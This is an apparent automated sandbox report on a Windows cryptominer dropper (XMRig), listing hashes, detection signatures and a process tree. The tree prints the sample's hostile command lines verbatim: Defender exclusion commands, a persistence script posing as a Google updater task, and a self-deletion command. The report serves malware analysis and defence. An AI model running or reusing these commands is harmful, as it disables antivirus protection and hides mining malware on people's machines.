Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
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max time kernel
1822s -
max time network
1828s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
24-01-2024 17:15
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231129-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231129-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231129-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231129-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
General
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Target
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 2224 created 1188 2224 EtPLMpbCyFJpMJr7.exe 8 PID 2224 created 1188 2224 EtPLMpbCyFJpMJr7.exe 8 PID 2224 created 1188 2224 EtPLMpbCyFJpMJr7.exe 8 PID 2224 created 1188 2224 EtPLMpbCyFJpMJr7.exe 8 PID 2148 created 1188 2148 updater.exe 8 PID 2148 created 1188 2148 updater.exe 8 PID 2148 created 1188 2148 updater.exe 8 PID 2148 created 1188 2148 updater.exe 8 PID 1620 created 1188 1620 conhost.exe 8 PID 2148 created 1188 2148 updater.exe 8 -
XMRig Miner payload 30 IoCs
resource yara_rule behavioral11/memory/2040-72-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2040-74-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2040-76-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2040-77-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2040-81-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2040-83-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2040-85-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2040-87-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2040-89-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2040-91-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2040-93-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2040-95-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2040-97-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2040-99-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2040-101-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2040-103-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2040-105-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2040-107-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2040-109-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2040-111-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2040-118-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2040-120-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2040-122-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2040-124-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2040-126-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2040-128-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2040-130-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2040-132-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2040-134-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/2040-136-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
pid Process 2876 cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 2148 updater.exe -
Loads dropped DLL 1 IoCs
pid Process 1600 taskeng.exe -
resource yara_rule behavioral11/memory/2040-68-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2040-72-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2040-74-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2040-76-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2040-77-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2040-81-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2040-83-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2040-85-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2040-87-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2040-89-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2040-91-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2040-93-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2040-95-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2040-97-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2040-99-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2040-101-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2040-103-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2040-105-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2040-107-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2040-109-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2040-111-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2040-118-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2040-120-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2040-122-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2040-124-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2040-126-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2040-128-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2040-130-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2040-132-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2040-134-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/2040-136-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2148 set thread context of 1620 2148 updater.exe 52 PID 2148 set thread context of 2040 2148 updater.exe 54 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe EtPLMpbCyFJpMJr7.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1084 schtasks.exe 3056 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 2020 WMIC.exe -
Modifies data under HKEY_USERS 3 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = a003afa6b74fda01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
pid Process 2224 EtPLMpbCyFJpMJr7.exe 2224 EtPLMpbCyFJpMJr7.exe 2776 powershell.exe 2224 EtPLMpbCyFJpMJr7.exe 2224 EtPLMpbCyFJpMJr7.exe 2524 powershell.exe 2224 EtPLMpbCyFJpMJr7.exe 2224 EtPLMpbCyFJpMJr7.exe 2224 EtPLMpbCyFJpMJr7.exe 2224 EtPLMpbCyFJpMJr7.exe 2860 powershell.exe 2148 updater.exe 2148 updater.exe 2596 powershell.exe 2148 updater.exe 2148 updater.exe 1280 powershell.exe 2148 updater.exe 2148 updater.exe 2148 updater.exe 2148 updater.exe 1620 conhost.exe 1620 conhost.exe 2148 updater.exe 2148 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 464 Process not Found -
Suspicious use of AdjustPrivilegeToken 31 IoCs
description pid Process Token: SeDebugPrivilege 2776 powershell.exe Token: SeDebugPrivilege 2524 powershell.exe Token: SeDebugPrivilege 2860 powershell.exe Token: SeDebugPrivilege 2596 powershell.exe Token: SeDebugPrivilege 1280 powershell.exe Token: SeDebugPrivilege 2148 updater.exe Token: SeAssignPrimaryTokenPrivilege 2020 WMIC.exe Token: SeIncreaseQuotaPrivilege 2020 WMIC.exe Token: SeSecurityPrivilege 2020 WMIC.exe Token: SeTakeOwnershipPrivilege 2020 WMIC.exe Token: SeLoadDriverPrivilege 2020 WMIC.exe Token: SeSystemtimePrivilege 2020 WMIC.exe Token: SeBackupPrivilege 2020 WMIC.exe Token: SeRestorePrivilege 2020 WMIC.exe Token: SeShutdownPrivilege 2020 WMIC.exe Token: SeSystemEnvironmentPrivilege 2020 WMIC.exe Token: SeUndockPrivilege 2020 WMIC.exe Token: SeManageVolumePrivilege 2020 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 2020 WMIC.exe Token: SeIncreaseQuotaPrivilege 2020 WMIC.exe Token: SeSecurityPrivilege 2020 WMIC.exe Token: SeTakeOwnershipPrivilege 2020 WMIC.exe Token: SeLoadDriverPrivilege 2020 WMIC.exe Token: SeSystemtimePrivilege 2020 WMIC.exe Token: SeBackupPrivilege 2020 WMIC.exe Token: SeRestorePrivilege 2020 WMIC.exe Token: SeShutdownPrivilege 2020 WMIC.exe Token: SeSystemEnvironmentPrivilege 2020 WMIC.exe Token: SeUndockPrivilege 2020 WMIC.exe Token: SeManageVolumePrivilege 2020 WMIC.exe Token: SeLockMemoryPrivilege 2040 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2524 wrote to memory of 1084 2524 powershell.exe 33 PID 2524 wrote to memory of 1084 2524 powershell.exe 33 PID 2524 wrote to memory of 1084 2524 powershell.exe 33 PID 2876 wrote to memory of 1496 2876 cmd.exe 38 PID 2876 wrote to memory of 1496 2876 cmd.exe 38 PID 2876 wrote to memory of 1496 2876 cmd.exe 38 PID 2860 wrote to memory of 864 2860 powershell.exe 39 PID 2860 wrote to memory of 864 2860 powershell.exe 39 PID 2860 wrote to memory of 864 2860 powershell.exe 39 PID 1600 wrote to memory of 2148 1600 taskeng.exe 41 PID 1600 wrote to memory of 2148 1600 taskeng.exe 41 PID 1600 wrote to memory of 2148 1600 taskeng.exe 41 PID 1280 wrote to memory of 3056 1280 powershell.exe 46 PID 1280 wrote to memory of 3056 1280 powershell.exe 46 PID 1280 wrote to memory of 3056 1280 powershell.exe 46 PID 2148 wrote to memory of 1620 2148 updater.exe 52 PID 1660 wrote to memory of 2020 1660 cmd.exe 48 PID 1660 wrote to memory of 2020 1660 cmd.exe 48 PID 1660 wrote to memory of 2020 1660 cmd.exe 48 PID 2148 wrote to memory of 2040 2148 updater.exe 54 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1188
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\EtPLMpbCyFJpMJr7.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\EtPLMpbCyFJpMJr7.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2224
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2776
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2524 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:1084
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\EtPLMpbCyFJpMJr7.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2876 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:1496
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2860 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:864
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2596
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1280 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:3056
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:2688
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1660
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:1620
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2040
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C:\Windows\system32\taskeng.exetaskeng.exe {5D3C34CF-81D8-402F-93DB-98F8F8634850} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1600 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2148
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2020
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
155KB
MD526fcb646e7bbb20276d768538c3b8dc4
SHA1067ecdb5d06af3bea1fb5a8ceacc726d23d25720
SHA256daf86ae8638993e4c042ede22d2dc9f69a2eb4f1d86480de6e7702e65c48129b
SHA5124926badffe06b339db9c511e18e2a3e8fcee84140f8cd6256d04424c06cf0a81efa297a6ba2f16f78ed1cadae715906895c35b0b121c8e9ba81b5c5a45c3a707
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Filesize
916KB
MD5e3067c830bba8f1a13901e878300c890
SHA1e5bde59e443998a156546bedb15694e39659d29d
SHA2568c2d6891b2083d2e1628380aefbf61696e0feede01a82999eb4d8a36e81b1dca
SHA51236321936272efdb749ff73c1e5658fd3ce354e5356112383353839c479e9fe8360b6812cb6d830ff142606b6c7d356f22f6bebd5a0450ad333701f105a9b846b
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZEVJ08PLPS7KVT69LJYL.temp
Filesize7KB
MD50683325e10658f1590c99a0e7e13b8d7
SHA1d13b6267c9bf38f9fdd5e18247ee321cdee9c43e
SHA256919b1c4ef16a92365137086ba7ef3434f0607e25fba10da13305a5117b6a4b82
SHA51285bfd3f58271264ff5997a9f1e9d80c4fad58fd1f84607d76bf033a507cf2810edeb5ecf486a46612991be7ce121e2ab376be976cd01166c8dd9490495d8ac82
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Filesize
107KB
MD5bff2a6b44aff0c477113f8c78ad4cb39
SHA1233ac6a98804c7ccf74e4443ca28182605c30c46
SHA2567e296df2539c3779f11cf0afc7dda65c2238f8b7184808f15e7817a158f23874
SHA512f59cf4a61131ea9a2ecbdac104eac5e05ed80aa72ed417ab27a062276314548452af99525eb11771d95dce6e521c41c214c0f8e4d3e011e776a88200ef2f5a1d